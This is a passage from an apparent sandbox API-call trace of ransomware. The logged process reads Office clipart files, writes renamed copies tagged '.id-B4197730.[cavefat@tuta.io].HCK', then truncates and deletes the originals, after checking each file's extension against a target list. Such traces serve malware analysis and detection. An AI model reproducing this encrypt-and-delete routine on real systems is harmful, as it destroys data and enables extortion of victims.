Office\\root\\CLIPART\\PUB60COR\\J0107512.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107512.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0235.047] GetFileSizeEx (in: hFile=0x4c8, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=11404) returned 1 [0235.047] CloseHandle (hObject=0x4c8) returned 1 [0235.047] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107512.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107512.wmf")) returned 0x220 [0235.047] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107512.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107512.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0235.047] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107512.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107512.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0235.047] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0235.047] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0235.048] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107512.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107512.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4cc [0235.049] GetLastError () returned 0x0 [0235.049] ReadFile (in: hFile=0x4c8, lpBuffer=0x3e02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesRead=0x335fecc*=0x2c8c, lpOverlapped=0x0) returned 1 [0235.051] WriteFile (in: hFile=0x4cc, lpBuffer=0x3e02020*, nNumberOfBytesToWrite=0x2c90, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesWritten=0x335fc94*=0x2c90, lpOverlapped=0x0) returned 1 [0235.052] ReadFile (in: hFile=0x4c8, lpBuffer=0x3e02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0235.052] WriteFile (in: hFile=0x4cc, lpBuffer=0x3e02020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesWritten=0x335fc94*=0xec, lpOverlapped=0x0) returned 1 [0235.052] SetEndOfFile (hFile=0x4cc) returned 1 [0235.052] CloseHandle (hObject=0x4cc) returned 1 [0235.052] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0235.052] SetEndOfFile (hFile=0x4c8) returned 1 [0235.466] CloseHandle (hObject=0x4c8) returned 1 [0235.467] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107512.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0235.578] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107512.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107512.wmf")) returned 1 [0235.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107512.WMF") returned 68 [0235.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107512.WMF") returned 68 [0235.582] lstrlenW (lpString=".doc") returned 4 [0235.582] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0235.582] lstrlenW (lpString=".docx") returned 5 [0235.582] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0235.582] lstrlenW (lpString=".pdf") returned 4 [0235.582] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0235.582] lstrlenW (lpString=".xls") returned 4 [0235.582] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0235.582] lstrlenW (lpString=".xlsx") returned 5 [0235.582] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0235.582] lstrlenW (lpString=".ppt") returned 4 [0235.582] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0235.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107512.WMF") returned 68 [0235.582] lstrlenW (lpString=".zip") returned 4 [0235.582] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0235.582] lstrlenW (lpString=".rar") returned 4 [0235.582] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0235.582] lstrlenW (lpString=".bz2") returned 4 [0235.582] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0235.582] lstrlenW (lpString=".7z") returned 3 [0235.595] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0235.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107512.WMF") returned 68 [0235.595] lstrlenW (lpString=".dbf") returned 4 [0235.595] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0235.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107512.WMF") returned 68 [0235.608] lstrlenW (lpString=".1cd") returned 4 [0235.608] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0235.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107512.WMF") returned 68 [0235.608] lstrlenW (lpString=".jpg") returned 4 [0235.608] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0235.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107512.WMF") returned 68 [0235.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107512.WMF") returned 68 [0235.612] lstrlenW (lpString=".doc") returned 4 [0235.612] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0235.612] lstrlenW (lpString=".docx") returned 5 [0235.612] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0235.612] lstrlenW (lpString=".pdf") returned 4 [0235.612] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0235.612] lstrlenW (lpString=".xls") returned 4 [0235.612] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0235.612] lstrlenW (lpString=".xlsx") returned 5 [0235.612] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0235.612] lstrlenW (lpString=".ppt") returned 4 [0235.612] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0235.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107512.WMF") returned 68 [0235.612] lstrlenW (lpString=".zip") returned 4 [0235.612] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0235.612] lstrlenW (lpString=".rar") returned 4 [0235.612] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0235.612] lstrlenW (lpString=".bz2") returned 4 [0235.612] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0235.612] lstrlenW (lpString=".7z") returned 3 [0235.612] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0235.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107512.WMF") returned 68 [0235.612] lstrlenW (lpString=".dbf") returned 4 [0235.612] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0235.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107512.WMF") returned 68 [0235.612] lstrlenW (lpString=".1cd") returned 4 [0235.612] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0235.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107512.WMF") returned 68 [0235.612] lstrlenW (lpString=".jpg") returned 4 [0235.612] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0235.612] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0235.613] lstrlenW (lpString="J0107708.WMF") returned 12 [0235.613] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107708.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107708.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0235.614] GetFileSizeEx (in: hFile=0x54c, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=4808) returned 1 [0235.614] CloseHandle (hObject=0x54c) returned 1 [0235.614] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107708.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107708.wmf")) returned 0x220 [0235.614] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107708.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107708.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0235.614] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107708.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107708.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0235.615] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0235.615] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0235.615] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107708.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107708.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0235.616] GetLastError () returned 0x0 [0235.616] ReadFile (in: hFile=0x54c, lpBuffer=0x3e02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesRead=0x335fecc*=0x12c8, lpOverlapped=0x0) returned 1 [0235.617] WriteFile (in: hFile=0x4b4, lpBuffer=0x3e02020*, nNumberOfBytesToWrite=0x12d0, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesWritten=0x335fc94*=0x12d0, lpOverlapped=0x0) returned 1 [0235.618] ReadFile (in: hFile=0x54c, lpBuffer=0x3e02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0235.618] WriteFile (in: hFile=0x4b4, lpBuffer=0x3e02020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesWritten=0x335fc94*=0xec, lpOverlapped=0x0) returned 1 [0235.618] SetEndOfFile (hFile=0x4b4) returned 1 [0235.619] CloseHandle (hObject=0x4b4) returned 1 [0235.619] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0235.619] SetEndOfFile (hFile=0x54c) returned 1 [0235.621] CloseHandle (hObject=0x54c) returned 1 [0235.621] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107708.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0235.622] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107708.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107708.wmf")) returned 1 [0235.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107708.WMF") returned 68 [0235.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107708.WMF") returned 68 [0235.622] lstrlenW (lpString=".doc") returned 4 [0235.622] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0235.622] lstrlenW (lpString=".docx") returned 5 [0235.622] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0235.623] lstrlenW (lpString=".pdf") returned 4 [0235.623] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0235.623] lstrlenW (lpString=".xls") returned 4 [0235.623] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0235.623] lstrlenW (lpString=".xlsx") returned 5 [0235.623] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0235.623] lstrlenW (lpString=".ppt") returned 4 [0235.623] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0235.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107708.WMF") returned 68 [0235.623] lstrlenW (lpString=".zip") returned 4 [0235.623] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0235.623] lstrlenW (lpString=".rar") returned 4 [0235.623] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0235.623] lstrlenW (lpString=".bz2") returned 4 [0235.623] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0235.623] lstrlenW (lpString=".7z") returned 3 [0235.623] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0235.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107708.WMF") returned 68 [0235.623] lstrlenW (lpString=".dbf") returned 4 [0235.623] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0235.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107708.WMF") returned 68 [0235.623] lstrlenW (lpString=".1cd") returned 4 [0235.623] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0235.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107708.WMF") returned 68 [0235.623] lstrlenW (lpString=".jpg") returned 4 [0235.623] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0235.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107708.WMF") returned 68 [0235.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107708.WMF") returned 68 [0235.623] lstrlenW (lpString=".doc") returned 4 [0235.623] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0235.623] lstrlenW (lpString=".docx") returned 5 [0235.623] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0235.623] lstrlenW (lpString=".pdf") returned 4 [0235.624] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0235.624] lstrlenW (lpString=".xls") returned 4 [0235.624] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0235.624] lstrlenW (lpString=".xlsx") returned 5 [0235.624] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0235.624] lstrlenW (lpString=".ppt") returned 4 [0235.624] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0235.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107708.WMF") returned 68 [0235.624] lstrlenW (lpString=".zip") returned 4 [0235.624] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0235.624] lstrlenW (lpString=".rar") returned 4 [0235.624] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0235.624] lstrlenW (lpString=".bz2") returned 4 [0235.624] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0235.624] lstrlenW (lpString=".7z") returned 3 [0235.624] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0235.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107708.WMF") returned 68 [0235.624] lstrlenW (lpString=".dbf") returned 4 [0235.624] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0235.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107708.WMF") returned 68 [0235.624] lstrlenW (lpString=".1cd") returned 4 [0235.624] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0235.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107708.WMF") returned 68 [0235.624] lstrlenW (lpString=".jpg") returned 4 [0235.624] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0235.624] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0235.624] lstrlenW (lpString="J0107712.WMF") returned 12 [0235.624] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107712.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107712.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0235.625] GetFileSizeEx (in: hFile=0x54c, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=4636) returned 1 [0235.625] CloseHandle (hObject=0x54c) returned 1 [0235.625] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107712.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107712.wmf")) returned 0x220 [0235.625] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107712.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107712.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0235.625] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107712.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107712.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0235.626] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0235.626] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0235.626] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107712.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107712.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0235.627] GetLastError () returned 0x0 [0235.627] ReadFile (in: hFile=0x54c, lpBuffer=0x3e02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesRead=0x335fecc*=0x121c, lpOverlapped=0x0) returned 1 [0235.628] WriteFile (in: hFile=0x4b4, lpBuffer=0x3e02020*, nNumberOfBytesToWrite=0x1220, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesWritten=0x335fc94*=0x1220, lpOverlapped=0x0) returned 1 [0235.629] ReadFile (in: hFile=0x54c, lpBuffer=0x3e02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0235.629] WriteFile (in: hFile=0x4b4, lpBuffer=0x3e02020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesWritten=0x335fc94*=0xec, lpOverlapped=0x0) returned 1 [0235.629] SetEndOfFile (hFile=0x4b4) returned 1 [0235.629] CloseHandle (hObject=0x4b4) returned 1 [0235.629] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0235.629] SetEndOfFile (hFile=0x54c) returned 1 [0235.631] CloseHandle (hObject=0x54c) returned 1 [0235.632] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107712.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0235.632] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107712.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107712.wmf")) returned 1 [0235.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107712.WMF") returned 68 [0235.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107712.WMF") returned 68 [0235.633] lstrlenW (lpString=".doc") returned 4 [0235.633] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0235.633] lstrlenW (lpString=".docx") returned 5 [0235.633] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0235.633] lstrlenW (lpString=".pdf") returned 4 [0235.633] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0235.633] lstrlenW (lpString=".xls") returned 4 [0235.633] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0235.633] lstrlenW (lpString=".xlsx") returned 5 [0235.633] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0235.633] lstrlenW (lpString=".ppt") returned 4 [0235.633] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0235.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107712.WMF") returned 68 [0235.633] lstrlenW (lpString=".zip") returned 4 [0235.633] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0235.633] lstrlenW (lpString=".rar") returned 4 [0235.633] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0235.633] lstrlenW (lpString=".bz2") returned 4 [0235.633] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0235.633] lstrlenW (lpString=".7z") returned 3 [0235.633] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0235.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107712.WMF") returned 68 [0235.633] lstrlenW (lpString=".dbf") returned 4 [0235.633] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0235.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107712.WMF") returned 68 [0235.633] lstrlenW (lpString=".1cd") returned 4 [0235.633] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0235.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107712.WMF") returned 68 [0235.633] lstrlenW (lpString=".jpg") returned 4 [0235.633] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0235.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107712.WMF") returned 68 [0235.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107712.WMF") returned 68 [0235.634] lstrlenW (lpString=".doc") returned 4 [0235.634] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0235.634] lstrlenW (lpString=".docx") returned 5 [0235.634] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0235.634] lstrlenW (lpString=".pdf") returned 4 [0235.634] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0235.634] lstrlenW (lpString=".xls") returned 4 [0235.634] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0235.634] lstrlenW (lpString=".xlsx") returned 5 [0235.634] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0235.634] lstrlenW (lpString=".ppt") returned 4 [0235.634] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0235.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107712.WMF") returned 68 [0235.634] lstrlenW (lpString=".zip") returned 4 [0235.634] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0235.634] lstrlenW (lpString=".rar") returned 4 [0235.634] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0235.634] lstrlenW (lpString=".bz2") returned 4 [0235.634] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0235.634] lstrlenW (lpString=".7z") returned 3 [0235.634] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0235.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107712.WMF") returned 68 [0235.634] lstrlenW (lpString=".dbf") returned 4 [0235.634] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0235.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107712.WMF") returned 68 [0235.634] lstrlenW (lpString=".1cd") returned 4 [0235.634] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0235.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107712.WMF") returned 68 [0235.634] lstrlenW (lpString=".jpg") returned 4 [0235.634] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0235.634] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0235.634] lstrlenW (lpString="J0107718.WMF") returned 12 [0235.635] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107718.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107718.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0235.635] GetFileSizeEx (in: hFile=0x54c, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=3800) returned 1 [0235.635] CloseHandle (hObject=0x54c) returned 1 [0235.635] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft 